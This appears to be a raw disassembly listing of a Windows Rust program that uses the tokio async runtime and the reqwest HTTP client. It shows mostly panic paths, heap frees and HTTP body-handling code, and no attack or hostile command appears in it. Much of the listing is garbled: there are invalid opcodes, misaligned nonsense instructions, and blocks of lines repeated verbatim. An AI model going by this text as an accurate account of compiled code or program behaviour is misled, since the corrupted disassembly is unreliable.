jne 0x140079024
call fcn.14002ded0
lea rsi, [rbp + 0x3e0]
mov rcx, rsi
call fcn.14010e150
mov rax, qword [rbp + 0x3e0]
lock dec qword [rax]
jne 0x140079048
mov rcx, rsi
call fcn.14002df90
mov rcx, qword [rbp + 0x3e8]
test rcx, rcx
je 0x1400790a0
mov rax, qword [rcx + 0x30]
nop dword [rax + rax]
mov rdx, rax
or rdx, 4
lock cmpxchg qword [rcx + 0x30], rdx
jne 0x140079060
and eax, 0xa
cmp eax, 8
jne 0x140079082
mov rax, qword [rcx + 0x10]
mov rcx, qword [rcx + 0x18]
call qword [rax + 0x10]
mov rax, qword [rbp + 0x3e8]
test rax, rax
je 0x1400790a0
lock dec qword [rax]
jne 0x1400790a0
mov rcx, qword [rbp + 0x3e8]
call fcn.1400d6d80
movaps xmm6, xmmword [rbp + 0x910]
add rsp, 0x9a8
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
test rax, rax
mov rax, qword [rsi + 8]
mov rcx, rax
neg rcx
jno 0x1400790e6
mov rax, qword [rsi + 0x10]
lock dec qword [rax]
jne 0x140078fdc
mov rcx, qword [rsi + 0x10]
call fcn.1400ca680
jmp 0x140078fdc
cmp qword [rsi + 0x28], 0
je 0x140079104
mov r8, qword [rsi + 0x20]
mov rcx, qword [0x14019f258]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rsi + 8]
test rax, rax
je 0x14007911c
mov r8, qword [rsi + 0x10]
mov rcx, qword [0x14019f258]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rsi + 0x30]
lock dec qword [rax]
jne 0x140078fdc
lea rcx, [rsi + 0x30]
call fcn.140040e50
jmp 0x140078fdc
lea rax, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtimepark.rsinconsistent_park_state__actual_
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x140168660]
lea r8, [rbp + 0x900]
mov edx, 0x2b
call fcn.140122900
lea rcx, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_syncmpsclist.rs
call fcn.140122a00
mov qword [rbp + 0x8f8], rax
lea rax, [rbp + 0x8f8]
mov qword [rbp + 0x840], rax
lea rax, [fcn.140008ab0]
mov qword [rbp + 0x848], rax
lea rax, [0x140167640]
mov qword [rbp + 0x290], rax
mov qword [rbp + 0x298], 1
mov qword [rbp + 0x2b0], 0
lea rax, [rbp + 0x840]
mov qword [rbp + 0x2a0], rax
mov qword [rbp + 0x2a8], 1
lea rdx, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtimepark.rsinconsistent_park_state__actual_
lea rcx, [rbp + 0x290]
call fcn.1401224d0
ud2
lea rcx, str.core_missing
lea r8, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_schedulercurrent_threadmod.rs
mov edx, 0xc
call fcn.140122a20
lea rcx, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_schedulercurrent_threadmod.rs
call fcn.140122840
lea rcx, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_schedulercurrent_threadmod.rs
call fcn.140122840
lea rax, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_schedulercurrent_threadmod.rs
mov qword [rsp + 0x20], rax
lea rcx, str.Failed_to__Enter::block_on_
lea r9, [0x140168660]
lea r8, [rbp + 0x900]
mov edx, 0x1b
call fcn.140122900
lea rcx, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_syncmpscunbounded.rs
call fcn.140122c50
mov ecx, 8
mov edx, 0x10
call fcn.140122190
mov ecx, 8
mov edx, 8
call fcn.140122190
call fcn.14012d190
mov ecx, 8
mov edx, 0x70
call fcn.140122190
lea rcx, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtimecontextcurrent.rs
call fcn.140122840
lea rcx, str.assertion_failed:_c.runtime.get__.is_entered__C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtimecontext_runtime.rs
lea r8, [0x140167908]
mov edx, 0x2e
call fcn.140122660
lea rax, str.Cannot_start_a_runtime_from_within_a_runtime._This_happens_because_a_function__like__block_on___attempted_to_block_the_current_thread_while_the_thread_is_being_used_to_drive_asynchronous_tasks.
mov qword [rbp + 0x3a0], rax
mov qword [rbp + 0x3a8], 1
mov qword [rbp + 0x3b0], 8
xorps xmm0, xmm0
movups xmmword [rbp + 0x3b8], xmm0
lea rdx, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_schedulermulti_threadmod.rs
lea rcx, [rbp + 0x3a0]
call fcn.1401224d0
lea rax, str.Cannot_start_a_runtime_from_within_a_runtime._This_happens_because_a_function__like__block_on___attempted_to_block_the_current_thread_while_the_thread_is_being_used_to_drive_asynchronous_tasks.
mov qword [rbp + 0x640], rax
mov qword [rbp + 0x648], 1
mov qword [rbp + 0x650], 8
xorps xmm0, xmm0
movups xmmword [rbp + 0x658], xmm0
lea rdx, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_reqwest_0.11.27_src_blockingclient.rsthread_not_dropped_yet
lea rcx, [rbp + 0x640]
call fcn.1401224d0
lea rax, str.reached_max__enter__depth
mov qword [rbp + 0x3a0], rax
mov qword [rbp + 0x3a8], 1
mov qword [rbp + 0x3b0], 8
xorps xmm0, xmm0
movups xmmword [rbp + 0x3b8], xmm0
lea rdx, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtimecontextcurrent.rs
lea rcx, [rbp + 0x3a0]
call fcn.1401224d0
lea rax, str.reached_max__enter__depth
mov qword [rbp + 0x640], rax
mov qword [rbp + 0x648], 1
mov qword [rbp + 0x650], 8
xorps xmm0, xmm0
movups xmmword [rbp + 0x658], xmm0
lea rdx, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtimecontextcurrent.rs
lea rcx, [rbp + 0x640]
call fcn.1401224d0
lea rax, str.not_a_CurrentThread_handle
mov qword [rbp + 0x640], rax
mov qword [rbp + 0x648], 1
mov qword [rbp + 0x650], 8
xorps xmm0, xmm0
movups xmmword [rbp + 0x658], xmm0
lea rdx, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_schedulermod.rs
lea rcx, [rbp + 0x640]
call fcn.1401224d0
lea rcx, [rbp - 0x58]
call fcn.1400ccd60
lea rax, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_schedulermulti_threadmod.rs
mov qword [rsp + 0x20], rax
lea rcx, str.failed_to_park_thread
lea r9, [0x140168660]
lea r8, [rbp + 0x900]
mov edx, 0x15
call fcn.140122900
lea rax, str.expected__CurrentThread::Context_
mov qword [rbp + 0x290], rax
mov qword [rbp + 0x298], 1
mov qword [rbp + 0x2a0], 8
movups xmmword [rbp + 0x2a8], xmm0
lea rdx, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_schedulercurrent_threadmod.rs
lea rcx, [rbp + 0x290]
call fcn.1401224d0
lea rcx, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_schedulercurrent_threadmod.rs
call fcn.140122840
lea rcx, str.core_missing
lea r8, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_schedulercurrent_threadmod.rs
mov edx, 0xc
call fcn.140122a20
lea rax, str.a_spawned_task_panicked_and_the_runtime_is_configured_to_shut_down_on_unhandled_panic
mov qword [rbp + 0x290], rax
mov qword [rbp + 0x298], 1
mov qword [rbp + 0x2a0], 8
xorps xmm0, xmm0
movups xmmword [rbp + 0x2a8], xmm0
lea rdx, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_schedulercurrent_threadmod.rs
lea rcx, [rbp + 0x290]
call fcn.1401224d0
lea rcx, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_schedulercurrent_threadmod.rs
call fcn.140122840
lea rcx, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_schedulerdefer.rs
call fcn.1401228a0
lea rcx, str.assertion_failed:_prev.ref_count_____1
lea r8, [0x1401680e8]
mov edx, 0x27
call fcn.140122660
mov dword [rbp + 0x8f8], 0
mov byte [rbp + 0x8fc], 0
lea rax, str.fatal_runtime_error:_the_global_allocator_may_not_use_TLS_with_destructors_n
mov qword [rbp + 0x290], rax
mov qword [rbp + 0x298], 1
lea rax, [rbp + 0x900]
mov qword [rbp + 0x2a0], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x2a8], xmm0
lea rcx, [rbp + 0x8f8]
lea rdx, [rbp + 0x290]
call fcn.1400eb980
mov qword [rbp + 0x840], rax
lea rcx, [rbp + 0x840]
call fcn.1400ebb10
mov ecx, 7
int 0x29
ud2
add byte [rcx + 0x80fa], al
add byte [rbx + 0xf], dh
mov byte [rsp + 0x2c], dl
mov r8d, 1
jmp 0x140079b05
mov rcx, qword [rsi]
lea rdx, [rsp + 0x2c]
call fcn.14009c510
test rax, rax
je 0x140079b7d
mov rdi, qword [rsi + 8]
mov ecx, edi
and ecx, 3
cmp ecx, 1
jne 0x140079b79
mov r14, rax
mov rbx, qword [rdi - 1]
mov r15, qword [rdi + 7]
mov rax, qword [r15]
test rax, rax
je 0x140079b3d
mov rcx, rbx
call rax
dec rdi
cmp qword [r15 + 8], 0
je 0x140079b64
cmp qword [r15 + 0x10], 0x11
jb 0x140079b52
mov rbx, qword [rbx - 8]
mov rcx, qword [0x14019f258]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, qword [0x14019f258]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, r14
mov qword [rsi + 8], rax
test rax, rax
setne al
add rsp, 0x30
pop rbx
pop rdi
pop rsi
pop r14
pop r15
ret
push rsp
mov r14, rax
mov rbx, qword [rdi - 1]
mov r15, qword [rdi + 7]
mov rax, qword [r15]
test rax, rax
je 0x140079c71
mov rcx, rbx
call rax
dec rdi
cmp qword [r15 + 8], 0
je 0x140079c98
cmp qword [r15 + 0x10], 0x11
jb 0x140079c86
mov rbx, qword [rbx - 8]
mov rcx, qword [0x14019f258]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, qword [0x14019f258]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, r14
mov qword [rsi + 8], rax
test rax, rax
setne al
add rsp, 0x20
pop rbx
pop rdi
pop rsi
pop r14
pop r15
ret
add rsp, 0x28
pop rdi
pop rsi
ret
mov byte [rcx + 0xd1], 1
jmp 0x140079dc0
je 0x140079e45
cmp rax, 1
jne 0x140079dc0
mov qword [rdi + 0x70], 4
mov qword [rdi + 0x90], 5
mov byte [rdi + 0xd2], 2
mov rcx, rdx
call fcn.140033b80
mov rcx, rdi
mov rsi, rax
mov rax, qword [rdi + 0xc0]
test rax, rax
je 0x140079e3c
mov rcx, rax
call fcn.14005cd00
dec dword [rax - 0x77]
stc
dec dword [rax - 0x77]
stc
mov qword [rcx + 0xc0], rsi
jmp 0x140079dda
test rdx, rdx
mov rcx, rdi
jne 0x140079dda
cmp byte [rcx + 0xd2], 0
mov qword [rcx + 0x70], 4
jne 0x140079e69
mov qword [rcx + 0x90], 5
mov byte [rcx + 0xd2], 2
jmp 0x140079dc0
mov r8, qword [rsp + 0x80]
call qword [rax + 0x10]
test rdi, rdi
mov rdx, qword [rsp + 0x28]
je 0x140079f4c
mov rcx, qword [rdi + 8]
mov rdx, qword [rdi + 0x10]
lea r8, str.keep_aliveHTTP_1.1_100_Continue_r_n_r_ninternal_error:_entered_unreachable_code:_poll_read_body_invalid_state:
mov r9d, 0xa
call fcn.140032b50
mov rdx, qword [rsp + 0x28]
test al, al
jne 0x14007a03e
movzx eax, byte [rbx + 0xd8]
cmp eax, 2
je 0x140079f6d
cmp eax, 1
jne 0x14007a03e
mov byte [rdx + 0xd2], 2
jmp 0x14007a03e
cmp byte [rdx + 0xd2], 2
je 0x14007a03e
lea rax, [0x14015a1a0]
mov qword [rsp + 0x30], rax
lea rax, str.keep_aliveHTTP_1.1_100_Continue_r_n_r_ninternal_error:_entered_unreachable_code:_poll_read_body_invalid_state:
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x40], 0xa
mov qword [rsp + 0x48], 0
mov byte [rsp + 0x50], 0
movaps xmmword [rsp + 0x100], xmm6
movaps xmmword [rsp + 0xf0], xmm7
lea rcx, [rsp + 0x70]
lea r8, [rsp + 0xf0]
lea r9, [rsp + 0x30]
mov rdx, rbx
call fcn.14007bc70
cmp byte [rsp + 0x90], 3
je 0x14007bbbc
mov rax, qword [rsp + 0x90]
mov qword [rsp + 0x110], rax
movdqu xmm0, xmmword [rsp + 0x70]
add byte [rax - 0x77], cl
test byte [rax + rdx], ah
add dword [rax], eax
add bl, dh
movq mm0, qword [rsp + 0x70]
movdqu xmm1, xmmword [rsp + 0x80]
movdqa xmmword [rsp + 0x100], xmm1
movdqa xmmword [rsp + 0xf0], xmm0
cmp al, 2
je 0x14007a039
lea rcx, [rsp + 0x108]
mov rax, qword [rsp + 0xf0]
mov rdx, qword [rsp + 0xf8]
mov r8, qword [rsp + 0x100]
call qword [rax + 0x10]
mov rdx, qword [rsp + 0x28]
mov byte [rbx + 0xd8], 1
movzx ebp, byte [rdx + 0xcf]
mov qword [rsp + 0x160], 2
mov qword [rsp + 0x180], 0
movzx esi, byte [rbx + 0xb8]
mov eax, 0x83000000
dec byte [rcx]
mov eax, 0x83000000
dec byte [rcx]
mov qword [rsp + 0x138], r14
jae 0x14007a336
mov eax, dword [rsp + 0x70]
mov ecx, dword [rsp + 0x73]
mov dword [rsp + 0x33], ecx
mov dword [rsp + 0x30], eax
movzx eax, byte [rdx + 0xa8]
cmp al, 0xb
je 0x14007a0c0
cmp al, 0xa
jb 0x14007a0c0
cmp qword [rdx + 0xb8], 0
je 0x14007a0c0
mov r8, qword [rdx + 0xb0]
mov rcx, qword [0x14019f258]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rdx, qword [rsp + 0x28]
mov byte [rdx + 0xa8], sil
mov eax, dword [rsp + 0x30]
mov ecx, dword [rsp + 0x33]
mov dword [rdx + 0xa9], eax
mov dword [rdx + 0xac], ecx
mov qword [rdx + 0xb0], r14
mov qword [rdx + 0xb8], rdi
cmp r12, 2
jne 0x14007a163
movups xmm0, xmmword [0x140148580]
movaps xmmword [rsp + 0x40], xmm0
movdqu xmm0, xmmword [0x140148570]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rsp + 0x70]
lea r8, [rsp + 0x30]
mov rdx, rbx
call fcn.14002d9a0
cmp byte [rsp + 0x90], 2
je 0x14007a142
lea rcx, [rsp + 0x88]
mov rax, qword [rsp + 0x70]
mov rdx, qword [rsp + 0x78]
mov r8, qword [rsp + 0x80]
call qword [rax + 0x10]
mov qword [rsp + 0x30], 1
mov qword [rsp + 0x38], 0
mov byte [rsp + 0x40], 0
mov r9, qword [rsp + 0x28]
jmp 0x14007a9e1
mov r13, qword [rsp + 0x260]
mov rsi, rbx
movzx ebx, byte [rbx + 0xd8]
mov rcx, rsi
call fcn.140032cb0
dec dword [rcx - 0x77]
invalid
mov r15, rdx
movups xmm0, xmmword [0x140148580]
cmp bl, 2
jne 0x14007a2ce
dec dword [rcx - 0x77]
invalid
movaps xmmword [rsp + 0x40], xmm0
movdqu xmm0, xmmword [0x140148570]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rsp + 0x70]
lea r8, [rsp + 0x30]
mov rdx, rsi
call fcn.14002c3e0
movzx ecx, byte [rsp + 0xa2]
cmp cl, 3
je 0x14007ba76
invalid
add byte [rax - 0x77], cl
mov rsi, qword [rsp + 0x70]
mov rbx, rsi
mov rsi, qword [rsp + 0x70]
mov rax, qword [rsp + 0x78]
mov rdi, qword [rsp + 0x80]
movups xmm0, xmmword [rsp + 0x88]
movaps xmmword [rsp + 0x1b0], xmm0
movdqu xmm0, xmmword [rsp + 0x92]
movdqu xmmword [rsp + 0x1ba], xmm0
mov edx, dword [rsp + 0xa3]
mov dword [rsp + 0x120], edx
movzx edx, byte [rsp + 0xa7]
mov byte [rsp + 0x124], dl
cmp cl, 2
jne 0x14007a383
pop rbp
add dword [rax], eax
invalid
pop rbp
add dword [rax], eax
add byte [rax - 0x75], cl
push rsi
sub byte [rax + 0x39], cl
cli
mov rdx, qword [rsi + 0x28]
cmp rdx, rdi
jbe 0x14007baa2
mov rax, qword [rsi + 0x20]
imul r15, rdi, 0x68
mov rcx, qword [rax + r15]
mov rax, qword [rax + r15 + 0x10]
mov qword [rsp + 0x90], rsi
mov qword [rsp + 0x98], rdi
mov qword [rsp + 0x70], 0
mov qword [rsp + 0x80], rcx
mov qword [rsp + 0x88], rax
lea rcx, [rsp + 0x70]
call fcn.140033190
test al, al
jne 0x14007a8d5
mov rdx, qword [rsi + 0x28]
cmp rdx, rdi
jbe 0x14007bb4a
mov rax, qword [rsi + 0x20]
mov rcx, qword [rax + r15]
test rcx, rcx
je 0x14007a4a5
cmp rcx, 1
jne 0x14007a4e3
add byte [rax], al
add dword [rdi], ecx
test dword [rdx + rax], edi
add byte [rax], al
mov rcx, qword [rax + r15 + 0x10]
mov rdx, qword [rsi + 0x40]
cmp rcx, rdx
jae 0x14007bbc8
mov rax, qword [rsi + 0x38]
lea rcx, [rcx + rcx*8]
lea r13, [rax + rcx*8]
add r13, 0x20
jmp 0x14007a4ad
movaps xmmword [rsp + 0x40], xmm0
movdqu xmm0, xmmword [0x140148570]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rsp + 0x70]
lea r8, [rsp + 0x30]
mov rdx, rsi
call fcn.14002d9a0
cmp byte [rsp + 0x90], 2
mov rbx, rsi
je 0x14007a31d
lea rcx, [rsp + 0x88]
mov rax, qword [rsp + 0x70]
mov rdx, qword [rsp + 0x78]
mov r8, qword [rsp + 0x80]
call qword [rax + 0x10]
mov r9, qword [rsp + 0x28]
cmp r14, 1
jne 0x14007a363
mov qword [rsp + 0x30], 1
jmp 0x14007a9d7
invalid
invalid
add byte [rax], al
movabs eax, dword [0x9a850f000006]
add byte [rbx + 0xb983], cl
add byte [rbx + 0xbc8b], cl
add byte [rcx - 0x768cdbb4], cl
and al, 0x70
jne 0x14007a3d6
mov eax, dword [rbx + 0xb9]
mov ecx, dword [rbx + 0xbc]
mov dword [rsp + 0x73], ecx
mov dword [rsp + 0x70], eax
mov r14, qword [rbx + 0xc0]
movzx edi, byte [rbx + 0xc8]
jmp 0x14007a07c
test r12, r12
je 0x14007a48b
mov qword [rsp + 0x30], 1
mov qword [rsp + 0x38], 0
jmp case.0x140059890.65
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x40], rdi
movaps xmm0, xmmword [rsp + 0x1b0]
movups xmmword [rsp + 0x48], xmm0
movdqu xmm0, xmmword [rsp + 0x1ba]
movdqu xmmword [rsp + 0x52], xmm0
mov byte [rsp + 0x62], cl
mov ecx, dword [rsp + 0x120]
mov dword [rsp + 0x63], ecx
movzx ecx, byte [rsp + 0x124]
mov byte [rsp + 0x67], cl
cmp r14, 1
jne 0x14007a40e
xor esi, esi
jmp 0x14007a45a
mov r15, qword [rbx + 0xc0]
mov rdi, qword [rbx + 0xc8]
test rdi, rdi
je 0x14007a439
js 0x14007bb33
movzx eax, byte [0x14019f308]
xor ecx, ecx
leave
leave
mov rdx, rdi
call fcn.1400f8ae0
test rax, rax
je 0x14007bb3d
mov r14, rax
jmp 0x14007a43f
cmp r12, 1
jne 0x14007a457
movzx ecx, byte [rbx + 0xb8]
cmp ecx, 7
ja 0x14007a93b
mov edx, 0xa2
bt edx, ecx
jae 0x14007a93b
xor r15d, r15d
xor esi, esi
jmp 0x14007a45a
mov r14d, 1
mov rcx, r14
mov rdx, r15
mov r8, rdi
call fcn.140121660
mov rdx, qword [rsp + 0x28]
jmp 0x14007a07c
mov sil, 1
test rax, rax
je 0x14007a46f
lea rcx, [rsp + 0x50]
and al, 0x50
mov r8, qword [rsp + 0x48]
mov rdx, rdi
call qword [rax + 0x10]
mov eax, 1
test sil, sil
mov r9, qword [rsp + 0x28]
je 0x14007a9d2
test r12, r12
jne 0x14007bb59
lea rcx, [rsp + 0x30]
mov rdx, rbx
mov r8, r13
call fcn.14002b9e0
mov r9, qword [rsp + 0x28]
jmp 0x14007a9e1
lea r13, [rax + r15]
add r13, 0x18
mov rdi, qword [r13 + 0x10]
add rdi, 9
je 0x14007a55f
js 0x14007bb33
movzx eax, byte [0x14019f308]
xor ecx, ecx
mov rdx, rdi
call fcn.1400f8ae0
test rax, rax
je 0x14007bb3d
mov rcx, rax
jmp 0x14007a566
mov rcx, qword [rax + r15 + 0x38]
mov qword [rsp + 0x90], rcx
movdqu xmm0, xmmword [rax + r15 + 0x18]
movq mm0, qword [rax + rdi + 0x18]
movq mm0, qword [rax + rdi + 0x18]
movdqu xmm1, xmmword [rax + r15 + 0x28]
movdqa xmmword [rsp + 0x80], xmm1
movdqa xmmword [rsp + 0x70], xmm0
jo 0x14007a556
lea ecx, [0x1401475c8]
jo 0x14007a556
lea ecx, [0x1401475c8]
mov qword [rax + r15 + 0x18], rcx
lea rcx, [0x14014767d]
mov qword [rax + r15 + 0x20], rcx
mov qword [rax + r15 + 0x28], 7
mov qword [rax + r15 + 0x30], 0
mov byte [rax + r15 + 0x38], 0
lea rcx, [rsp + 0x88]
mov rax, qword [rsp + 0x70]
mov rdx, qword [rsp + 0x78]
mov r8, qword [rsp + 0x80]
call qword [rax + 0x10]
jmp 0x14007a8d5
add bh, bh
push rax
adc cl, ch
jbe 0x14007a560
add byte [rax], al
xor edi, edi
mov ecx, 1
invalid
mov r8, rdi
shr r8, 0xa
mov eax, 0x40
mov edx, 0x40
je 0x14007a581
bsr rdx, r8
xor rdx, 0x3f
sub rax, rdx
cmp rax, 7
mov edx, 7
cmovb rdx, rax
lea rax, [rdx*4 + 1]
mov qword [rsp + 0xd0], rcx
mov qword [rsp + 0xd8], 0
mov qword [rsp + 0xe0], rdi
add byte [rax], al
add byte [rax - 0x77], cl
test byte [rax + rbp*8], ah
add byte [rax], al
add byte [rbp - 0x75], cl
or byte gs:[rbp - 0x75], cl
jge 0x14007a5d5
add byte [rax], al
add byte [rax - 0x77], cl
test byte [rax + rbp*8], ah
add byte [rax], al
add byte [rbp - 0x75], cl
or byte gs:[rbp - 0x75], cl
jge 0x14007a5d5
cmp rdi, r15
jae 0x14007a5ec
lea rcx, [rsp + 0xd0]
mov rdx, r15
call fcn.1400087c0
mov rcx, qword [rsp + 0xd0]
mov rax, qword [rsp + 0xd8]
jmp 0x14007a5ee
xor eax, eax
add rcx, rax
lea rsi, [rsp + 0xe0]
mov rdx, r12
mov r8, r15
call fcn.140121660
add r15, qword [rsp + 0xd8]
fadd dword [rax]
add byte [rax], al
fadd dword [rax]
add byte [rax], al
mov qword [rsp + 0xf0], r15
mov rax, qword [rsp + 0xe0]
sub rax, r15
jb 0x14007bab1
mov qword [rsp + 0xd8], r15
fadd dword [rax]
add byte [rax], al
cmp rax, 1
ja 0x14007a64d
lea rcx, [rsp + 0xd0]
mov edx, 2
mov word [rax + rdx*8], fs
add byte [rax], al
add byte [rdx + 2], bh
call fcn.1400087c0
mov r15, qword [rsp + 0xd8]
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x75], cl
test byte [rax + rdx*8], ah
add byte [rax], al
add byte [rsi + 0x42], ah
mov dword [rax + rdi], 0x8b48202c
test byte [rax + rbx*8], ah
add byte [rax], al
add byte [rax - 0x75], cl
mov word [rax + riz*8], fs
add byte [rax], al
add byte [rax - 0x7d], cl
rol byte [rdx], 0x48
mov dword [rsp + 0xf0], eax
mov rax, qword [rsp + 0xd0]
mov word [rax + r15], 0x202c
mov rax, qword [rsp + 0xd8]
mov rcx, qword [rsp + 0xe0]
add rax, 2
mov qword [rsp + 0xf0], rax
sub rcx, rax
jb 0x14007bab1
mov qword [rsp + 0xd8], rax
cmp rcx, 6
ja 0x14007a6a9
lea rcx, [rsp + 0xd0]
mov edx, 7
call fcn.1400087c0
mov rax, qword [rsp + 0xd8]
mov rcx, qword [rsp + 0xd0]
mov dword [rcx + rax + 3], 0x64656b6e
mov dword [rcx + rax], 0x6e756863
mov rax, qword [rsp + 0xd8]
test byte [rax + rbx*8], ah
add byte [rax], al
add byte [rax - 0x75], cl
mov word [rax + riz*8], fs
add byte [rax], al
add byte [rax - 0x7d], cl
rol byte [rdi], 0x48
mov dword [rsp + 0xf0], eax
test byte [rax + rbx*8], ah
add byte [rax], al
add byte [rax - 0x75], cl
mov word [rax + riz*8], fs
add byte [rax], al
add byte [rax - 0x7d], cl
rol byte [rdi], 0x48
mov dword [rsp + 0xf0], eax
cmp rax, rcx
ja 0x14007bab1
mov qword [rsp + 0xd8], rax
mov rdx, qword [rsp + 0xd0]
mov rsi, qword [rsp + 0xe8]
test sil, 1
jne 0x14007a731
lea rcx, [rsp + 0x38]
mov qword [rsp + 0x38], rdx
push rsp
and al, 0x38
push rsp
and al, 0x38
mov qword [rsp + 0x40], rax
lea rdi, [rsp + 0x48]
mov qword [rsp + 0x48], rsi
mov qword [rsp + 0x30], 0
lea rax, [0x14016a948]
add cl, ch
cdq
add byte [rax], al
invalid
add cl, ch
cdq
add byte [rax], al
add byte [rax - 0x3f], cl
out dx, al
add eax, 0x48f22948
add eax, esi
shr rsi, 5
sub rdx, rsi
add rax, rsi
add rcx, rsi
mov qword [rsp + 0x148], rcx
mov qword [rsp + 0x150], rdx
mov qword [rsp + 0x158], rax
lea rcx, [rsp + 0xf0]
and al, 0xf0
add byte [rax], al
add byte [rax - 0x73], cl
xchg esp, eax
and al, 0x48
add dword [rax], eax
add al, ch
xchg ebp, eax
fprem
dec dword [rax - 0x77]
mov ah, 0x24
movabs al, byte [0x24848b48000001]
add dword [rax], eax
add byte [rax - 0x77], cl
ror dword [rax + 0x29], 0xf1
and al, 0xf0
add byte [rax], al
add byte [rax - 0x73], cl
xchg esp, eax
and al, 0x48
add dword [rax], eax
add al, ch
xchg ebp, eax
fprem
dec dword [rax - 0x77]
mov ah, 0x24
movabs al, byte [0x24848b48000001]
add dword [rax], eax
add byte [rax - 0x77], cl
ror dword [rax + 0x29], 0xf1
jb 0x14007bbd4
add rsi, qword [rsp + 0xf8]
mov rax, qword [rsp + 0xf0]
mov rdx, qword [rsp + 0x108]
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x48], rdx
mov qword [rsp + 0x30], 0
test rax, rax
je 0x14007bc52
lea rcx, [rsp + 0x38]
lea rdi, [rsp + 0x48]
mov qword [rsp + 0x70], rax
movups xmm0, xmmword [rcx]
movups xmmword [rsp + 0x78], xmm0
mov rcx, qword [rcx + 0x10]
mov qword [rsp + 0x88], rcx
mov r8, qword [rsp + 0x80]
test r8, r8
je 0x14007a870
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x75], cl
push rsp
and al, 0x78
mov rdx, qword [rsp + 0x78]
xor ecx, ecx
jmp 0x14007a80e
cmp r9b, 0x7f
je 0x14007a81f
inc rcx
cmp r8, rcx
je 0x14007a870
movzx r9d, byte [rdx + rcx]
cmp r9b, 0x1f
ja 0x14007a800
cmp r9b, 9
je 0x14007a806
lea rcx, [rsp + 0x88]
call qword [rax + 0x10]
mov rax, qword [rsp + 0x30]
test rax, rax
je 0x14007a844
mov rdx, qword [rsp + 0x38]
mov r8, qword [rsp + 0x40]
mov rcx, rdi
call qword [rax + 0x10]
lea rax, [0x140147710]
mov qword [rsp + 0x20], rax
lea rcx, [0x140147684]
or al, 0
or al, 0
lea r9, [0x14015c480]
lea r8, [rsp + 0x148]
mov edx, 0x29
call fcn.140122900
movups xmm0, xmmword [rsp + 0x70]
movups xmm1, xmmword [rsp + 0x80]
movaps xmmword [rsp + 0x100], xmm1
add dword [rax], eax
add byte [rdi], cl
sub dword [rsp + 0x70], eax
add dword [rax], eax
add byte [rdi], cl
sub dword [rsp + 0x70], eax
movaps xmmword [rsp + 0x80], xmm1
lea rcx, [r13 + 0x18]
mov rax, qword [r13]
add byte [r9 - 0x75], r9b
push rbp
or byte [rbp - 0x75], cl
adc r15b, r15b
push rax
adc byte [rsi + 0xf], ah
outsd dx, dword [rsi]
and al, 0x70
add byte [r9 - 0x75], r9b
push rbp
or byte [rbp - 0x75], cl
adc r15b, r15b
push rax
adc byte [rsi + 0xf], ah
outsd dx, dword [rsi]
and al, 0x70
movdqa xmm1, xmmword [rsp + 0x80]
movdqu xmmword [r13 + 0x10], xmm1
movq qword [rbp + 0x10], mm1
movq qword [rbp + 0x10], mm1
movdqu xmmword [r13], xmm0
mov byte [r13 + 0x20], 0
mov eax, dword [rsp + 0x30]
mov ecx, dword [rsp + 0x33]
mov dword [r13 + 0x21], eax
